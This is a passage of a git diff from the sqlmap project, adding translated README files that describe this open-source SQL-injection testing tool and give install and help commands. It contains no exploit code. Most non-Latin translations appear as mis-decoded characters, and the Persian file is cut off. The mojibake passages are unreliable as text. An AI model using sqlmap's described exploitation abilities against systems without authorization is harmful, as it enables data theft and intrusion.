ANY REPRESENTATION +OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT +THE USE OF PYTHON 2.7.3 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS. +PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 2.7.3 FOR +ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF +MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 2.7.3, OR ANY DERIVATIVE +THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. +This License Agreement will automatically terminate upon a material breach +of its terms and conditions. +Nothing in this License Agreement shall be deemed to create any relationship +of agency, partnership, or joint venture between PSF and Licensee. This +License Agreement does not grant permission to use PSF trademarks or trade +name in a trademark sense to endorse or promote products or services of +Licensee, or any third party. +By copying, installing or otherwise using Python 2.7.3, Licensee agrees to +be bound by the terms and conditions of this License Agreement. +```` + +# MIT + +* The `bottle` web framework library located under `thirdparty/bottle/`. + Copyright (C) 2024, Marcel Hellkamp. +* The `identYwaf` library located under `thirdparty/identywaf/`. + Copyright (C) 2019-2021, Miroslav Stampar. +* The `ordereddict` library located under `thirdparty/odict/`. + Copyright (C) 2009, Raymond Hettinger. +* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. + Copyright (C) 2010-2024, Benjamin Peterson. +* The `Termcolor` library located under `thirdparty/termcolor/`. + Copyright (C) 2008-2011, Volvox Development Team. + +```` +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +```` + +# Public domain + +* The `PyDes` library located under `thirdparty/pydes/`. + Copyleft 2009, Todd Whiteman. +* The `win_inet_pton` library located under `thirdparty/wininetpton/`. + Copyleft 2014, Ryan Vennell. diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md new file mode 100644 index 00000000000..29d8e9f15b0 --- /dev/null +++ b/doc/translations/README-ar-AR.md @@ -0,0 +1,68 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +<div dir=rtl> + +برنامج sqlmap هو أداة اختبار اختراق Ù…Ùتوحة المصدر تقوم بأتمتة عملية اكتشا٠واستغلال ثغرات حقن SQL والسيطرة على خوادم قواعد البيانات. يأتي مع محرك كش٠قوي، والعديد من الميزات المتخصصة لمختبر الاختراق المحترÙØŒ ومجموعة واسعة من الخيارات بما ÙÙŠ ذلك تحديد بصمة قاعدة البيانات، واستخراج البيانات من قاعدة البيانات، والوصول إلى نظام الملÙات الأساسي، وتنÙيذ الأوامر على نظام التشغيل عبر اتصالات خارج النطاق. + +لقطات الشاشة +---- + +<div dir=ltr> + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +<div dir=rtl> + +يمكنك زيارة [مجموعة لقطات الشاشة](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) التي توضح بعض الميزات ÙÙŠ الويكي. + +التثبيت +---- + +يمكنك تحميل أحدث إصدار tarball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/tarball/master) أو أحدث إصدار zipball بالنقر [هنا](https://github.com/sqlmapproject/sqlmap/zipball/master). + +ÙŠÙضل تحميل sqlmap عن طريق استنساخ مستودع [Git](https://github.com/sqlmapproject/sqlmap): + +<div dir=ltr> + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +<div dir=rtl> + +يعمل sqlmap مباشرة مع [Python](https://www.python.org/download/) إصدار **2.6** Ùˆ **2.7** Ùˆ **3.x** على أي نظام تشغيل. + +الاستخدام +---- + +للحصول على قائمة بالخيارات والمÙاتيح الأساسية استخدم: + +<div dir=ltr> + + python sqlmap.py -h + +<div dir=rtl> + +للحصول على قائمة بجميع الخيارات والمÙاتيح استخدم: + +<div dir=ltr> + + python sqlmap.py -hh + +<div dir=rtl> + +يمكنك العثور على مثال للتشغيل [هنا](https://asciinema.org/a/46601). +للحصول على نظرة عامة على إمكانيات sqlmapØŒ وقائمة الميزات المدعومة، ووص٠لجميع الخيارات والمÙاتيح، مع الأمثلة، ننصحك بمراجعة [دليل المستخدم](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +الروابط +---- + +* الصÙحة الرئيسية: https://sqlmap.org +* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues +* دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki +* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* تويتر: [@sqlmap](https://x.com/sqlmap) +* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md new file mode 100644 index 00000000000..d66b5301e11 --- /dev/null +++ b/doc/translations/README-bg-BG.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap e инÑтрумент за теÑтване и проникване, Ñ Ð¾Ñ‚Ð²Ð¾Ñ€ÐµÐ½ код, който автоматизира процеÑа на откриване и използване на недоÑтатъците на SQL база данните чрез SQL инжекциÑ, коÑто ги взима от Ñървъра. Снабден е Ñ Ð¼Ð¾Ñ‰ÐµÐ½ детектор, множеÑтво Ñпециални функции за най-Ð´Ð¾Ð±Ñ€Ð¸Ñ Ñ‚ÐµÑтер и широк Ñпектър от функции, които могат да Ñе използват за множеÑтво цели - извличане на данни от базата данни, доÑтъп до оÑновната файлова ÑиÑтема и изпълнÑване на команди на операционната ÑиÑтема. + +Демо Ñнимки +---- + +![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Можете да поÑетите [колекциÑта от Ñнимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи нÑкои функции, качени на wiki. + +ИнÑталиране +---- + +Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). + +За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap работи ÑамоÑтоÑтелно Ñ [Python](https://www.python.org/download/) верÑÐ¸Ñ **2.7** и **3.x** на вÑички платформи. + +Използване +---- + +За да получите ÑпиÑък Ñ Ð¾Ñновните опции използвайте: + + python sqlmap.py -h + +За да получите ÑпиÑък Ñ Ð²Ñички опции използвайте: + + python sqlmap.py -hh + +Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). +За да разберете възможноÑтите на sqlmap, ÑпиÑък на поддържаните функции и опиÑание на вÑички опции, заедно Ñ Ð¿Ñ€Ð¸Ð¼ÐµÑ€Ð¸, Ñе препоръчва да Ñе разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Връзки +---- + +* Ðачална Ñтраница: https://sqlmap.org +* ИзтеглÑне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* RSS емиÑиÑ: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ПроÑледÑване на проблеми и въпроÑи: https://github.com/sqlmapproject/sqlmap/issues +* Упътване: https://github.com/sqlmapproject/sqlmap/wiki +* ЧеÑто задавани въпроÑи (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-bn-BD.md b/doc/translations/README-bn-BD.md new file mode 100644 index 00000000000..8e4cfe36905 --- /dev/null +++ b/doc/translations/README-bn-BD.md @@ -0,0 +1,62 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![X](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +**SQLMap** à¦à¦•à¦Ÿà¦¿ ওপেন সোরà§à¦¸ পেনিটà§à¦°à§‡à¦¶à¦¨ টেসà§à¦Ÿà¦¿à¦‚ টà§à¦² যা সà§à¦¬à¦¯à¦¼à¦‚কà§à¦°à¦¿à¦¯à¦¼à¦­à¦¾à¦¬à§‡ SQL ইনজেকশন দà§à¦°à§à¦¬à¦²à¦¤à¦¾ সনাকà§à¦¤ ও শোষণ করতে à¦à¦¬à¦‚ ডাটাবেস সারà§à¦­à¦¾à¦° নিয়নà§à¦¤à§à¦°à¦£à§‡ নিতে সহায়তা করে। à¦à¦Ÿà¦¿ à¦à¦•à¦Ÿà¦¿ শকà§à¦¤à¦¿à¦¶à¦¾à¦²à§€ ডিটেকশন ইঞà§à¦œà¦¿à¦¨, উনà§à¦¨à¦¤ ফিচার à¦à¦¬à¦‚ পেনিটà§à¦°à§‡à¦¶à¦¨ টেসà§à¦Ÿà¦¾à¦°à¦¦à§‡à¦° জনà§à¦¯ দরকারি বিভিনà§à¦¨ অপশন নিয়ে আসে। à¦à¦° মাধà§à¦¯à¦®à§‡ ডাটাবেস ফিঙà§à¦—ারপà§à¦°à¦¿à¦¨à§à¦Ÿà¦¿à¦‚, ডাটাবেস থেকে তথà§à¦¯ আহরণ, ফাইল সিসà§à¦Ÿà§‡à¦® অà§à¦¯à¦¾à¦•à§à¦¸à§‡à¦¸, à¦à¦¬à¦‚ অপারেটিং সিসà§à¦Ÿà§‡à¦®à§‡ কমানà§à¦¡ চালানোর মতো কাজ করা যায়, à¦à¦®à¦¨à¦•à¦¿ আউট-অফ-বà§à¦¯à¦¾à¦¨à§à¦¡ সংযোগ বà§à¦¯à¦¬à¦¹à¦¾à¦° করেও। + + + +সà§à¦•à§à¦°à¦¿à¦¨à¦¶à¦Ÿ +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +আপনি [Wiki-তে](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) গিয়ে SQLMap-à¦à¦° বিভিনà§à¦¨ ফিচারের ডেমোনসà§à¦Ÿà§à¦°à§‡à¦¶à¦¨ দেখতে পারেন। + +ইনসà§à¦Ÿà¦²à§‡à¦¶à¦¨ +--- +সরà§à¦¬à¦¶à§‡à¦· টারবলে ডাউনলোড করà§à¦¨ [à¦à¦–ানে](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা সরà§à¦¬à¦¶à§‡à¦· জিপ ফাইল [à¦à¦–ানে](https://github.com/sqlmapproject/sqlmap/zipball/master)। + +অথবা, সরাসরি [Git](https://github.com/sqlmapproject/sqlmap) রিপোজিটরি থেকে কà§à¦²à§‹à¦¨ করà§à¦¨: + +``` +git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev +``` + +SQLMap সà§à¦¬à¦¯à¦¼à¦‚কà§à¦°à¦¿à¦¯à¦¼à¦­à¦¾à¦¬à§‡ [Python](https://www.python.org/download/) **2.7** à¦à¦¬à¦‚ **3.x** সংসà§à¦•à¦°à¦£à§‡ যেকোনো পà§à¦²à§à¦¯à¦¾à¦Ÿà¦«à¦°à§à¦®à§‡ কাজ করে। + + + +বà§à¦¯à¦¬à¦¹à¦¾à¦°à§‡à¦° নিরà§à¦¦à§‡à¦¶à¦¿à¦•à¦¾ +--- + +বেসিক অপশন à¦à¦¬à¦‚ সà§à¦‡à¦šà¦¸à¦®à§‚হ দেখতে বà§à¦¯à¦¬à¦¹à¦¾à¦° করà§à¦¨: + +``` +python sqlmap.py -h +``` + +সমসà§à¦¤ অপশন ও সà§à¦‡à¦šà§‡à¦° তালিকা পেতে বà§à¦¯à¦¬à¦¹à¦¾à¦° করà§à¦¨: + +``` +python sqlmap.py -hh +``` + +আপনি à¦à¦•à¦Ÿà¦¿ নমà§à¦¨à¦¾ রান দেখতে পারেন [à¦à¦–ানে](https://asciinema.org/a/46601)। +SQLMap-à¦à¦° সমà§à¦ªà§‚রà§à¦£ ফিচার, কà§à¦·à¦®à¦¤à¦¾, à¦à¦¬à¦‚ কনফিগারেশন সমà§à¦ªà¦°à§à¦•à§‡ বিসà§à¦¤à¦¾à¦°à¦¿à¦¤ জানতে [বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° মà§à¦¯à¦¾à¦¨à§à¦¯à¦¼à¦¾à¦²](https://github.com/sqlmapproject/sqlmap/wiki/Usage) পড়ার পরামরà§à¦¶ দেওয়া হচà§à¦›à§‡à¥¤ + + + +লিঙà§à¦•à¦¸à¦®à§‚হ +--- + +* হোমপেজ: https://sqlmap.org +* ডাউনলোড: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) অথবা [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* কমিটস RSS ফিড: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* ইসà§à¦¯à§ টà§à¦°à§à¦¯à¦¾à¦•à¦¾à¦°: https://github.com/sqlmapproject/sqlmap/issues +* বà§à¦¯à¦¬à¦¹à¦¾à¦°à¦•à¦¾à¦°à§€à¦° মà§à¦¯à¦¾à¦¨à§à¦¯à¦¼à¦¾à¦²: https://github.com/sqlmapproject/sqlmap/wiki +* সচরাচর জিজà§à¦žà¦¾à¦¸à¦¿à¦¤ পà§à¦°à¦¶à§à¦¨ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* সà§à¦•à§à¦°à¦¿à¦¨à¦¶à¦Ÿ: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md new file mode 100644 index 00000000000..db813955337 --- /dev/null +++ b/doc/translations/README-ckb-KU.md @@ -0,0 +1,67 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + + +<div dir=rtl> + + + +بەرنامەی `sqlmap` بەرنامەیەکی تاقیکردنەوەی چوونە ژوورەوەی سەرچاوە کراوەیە Ú©Û• بە شێوەیەکی ئۆتۆماتیکی بنکەدراوە Ú©Û• Ú©ÛŽØ´Û•ÛŒ ئاسایشی SQL Injection یان هەیە دەدۆزێتەوە. ئەم بەرنامەیە بزوێنەرێکی بەهێزی دیاریکردنی تێدایە. هەروەها Ú©Û†Ù…Û•ÚµÛŽÚ© سکریپتی بەرÙراوانی هەیە Ú©Û• ئاسانکاری دەکات بۆ پیشەییەکانی تاقیکردنەوەی دزەکردن(penetration tester) بۆ کارکردن Ù„Û•Ú¯Û•Úµ بنکەدراوە. Ù„Û• کۆکردنەوەی زانیاری دەربارەی بانکی داتا تا دەستگەیشتن بە داتاکانی سیستەم Ùˆ جێبەجێکردنی Ùەرمانەکان Ù„Û• Ú•ÛŽÚ¯Û•ÛŒ پەیوەندی Out Of Band Ù„Û• سیستەمی کارگێڕدا. + + +سکرین شاتی ئامرازەکە +---- + + +<div dir=ltr> + + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +<div dir=rtl> + +بۆ بینینی [Ú©Û†Ù…Û•ÚµÛŽÚ© سکرین شات Ùˆ سکریپت](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) دەتوانیت سەردانی ویکیەکە بکەیت. + + +دامەزراندن +---- + +بۆ دابەزاندنی نوێترین وەشانی tarballØŒ کلیک [لێرە](https://github.com/sqlmapproject/sqlmap/tarball/master) یان دابەزاندنی نوێترین وەشانی zipball بە کلیککردن لەسەر [لێرە](https://github.com/sqlmapproject/sqlmap/zipball/master) دەتوانیت ئەم کارە بکەیت. + +باشترە بتوانیت sqlmap دابەزێنیت بە کلۆنکردنی کۆگای [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap Ù„Û• دەرەوەی سندوق کاردەکات Ù„Û•Ú¯Û•Úµ [Python](https://www.python.org/download/) وەشانی **2.6**ØŒ **2.7** Ùˆ **3.x** لەسەر هەر پلاتÙۆرمێک. + +چۆنیەتی بەکارهێنان +---- + +بۆ بەدەستهێنانی لیستی بژاردە سەرەتاییەکان Ùˆ سویچەکان ئەمانە بەکاربهێنە: + + python sqlmap.py -h + +بۆ بەدەستهێنانی لیستی هەموو بژاردە Ùˆ سویچەکان ئەمە بەکار بێنا: + + python sqlmap.py -hh + +دەتوانن نمونەی ڕانکردنێک بدۆزنەوە [لێرە](https://asciinema.org/a/46601). +بۆ بەدەستهێنانی تێڕوانینێکی گشتی Ù„Û• تواناکانی sqlmapØŒ لیستی تایبەتمەندییە پشتگیریکراوەکان، Ùˆ وەسÙکردنی هەموو هەڵبژاردن Ùˆ سویچەکان، Ù„Û•Ú¯Û•Úµ نموونەکان، ئامۆژگاریت دەکرێت Ú©Û• ڕاوێژ بە [دەستنووسی بەکارهێنەر](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +بەستەرەکان +---- + +* ماڵپەڕی سەرەکی: https://sqlmap.org +* داگرتن: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یان [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Ùیدی RSS جێبەجێ دەکات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues +* ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki +* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* ÙˆÛŽÙ†Û•ÛŒ شاشە: https://github.com/sqlmapproject/sqlmap/wiki/ÙˆÛŽÙ†Û•ÛŒ شاشە + +وەرگێڕانەکان diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md new file mode 100644 index 00000000000..65d96220ea5 --- /dev/null +++ b/doc/translations/README-de-DE.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Ãœbernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen. + +Screenshots +--- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen. + +Installation +--- + +[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv. + +Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funktioniert sofort mit den [Python](https://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform. + +Benutzung +--- + +Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl: + + python sqlmap.py -h + +Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl: + + python sqlmap.py -hh + +Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Ãœberblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen. + +Links +--- + +* Webseite: https://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues +* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki +* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-es-MX.md b/doc/translations/README-es-MX.md new file mode 100644 index 00000000000..f85f4862fca --- /dev/null +++ b/doc/translations/README-es-MX.md @@ -0,0 +1,49 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". + +Capturas de Pantalla +--- +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). + +Instalación +--- + +Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funciona con las siguientes versiones de [Python](https://www.python.org/download/) **2.7** y **3.x** en cualquier plataforma. + +Uso +--- + +Para obtener una lista de opciones básicas: + + python sqlmap.py -h + +Para obtener una lista de todas las opciones: + + python sqlmap.py -hh + +Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). +Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Enlaces +--- + +* Página principal: https://sqlmap.org +* Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues +* Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki +* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md new file mode 100644 index 00000000000..eb84e410939 --- /dev/null +++ b/doc/translations/README-fa-IR.md @@ -0,0 +1,84 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + + +<div dir=rtl> + + + +برنامه `sqlmap`ØŒ یک برنامه‌ی تست Ù†Ùوذ منبع باز است Ú©Ù‡ Ùرآیند تشخیص Ùˆ اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام Ù…ÛŒ دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طی٠گسترده‌ای از اسکریپت ها می‌باشد Ú©Ù‡ برای متخصصان تست Ù†Ùوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم Ùˆ اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. + + +تصویر محیط ابزار +---- + + +<div dir=ltr> + + + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + + +<div dir=rtl> + +برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. + + +نصب +---- + +برای دانلود اخرین نسخه tarballØŒ با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. + + +نحوه 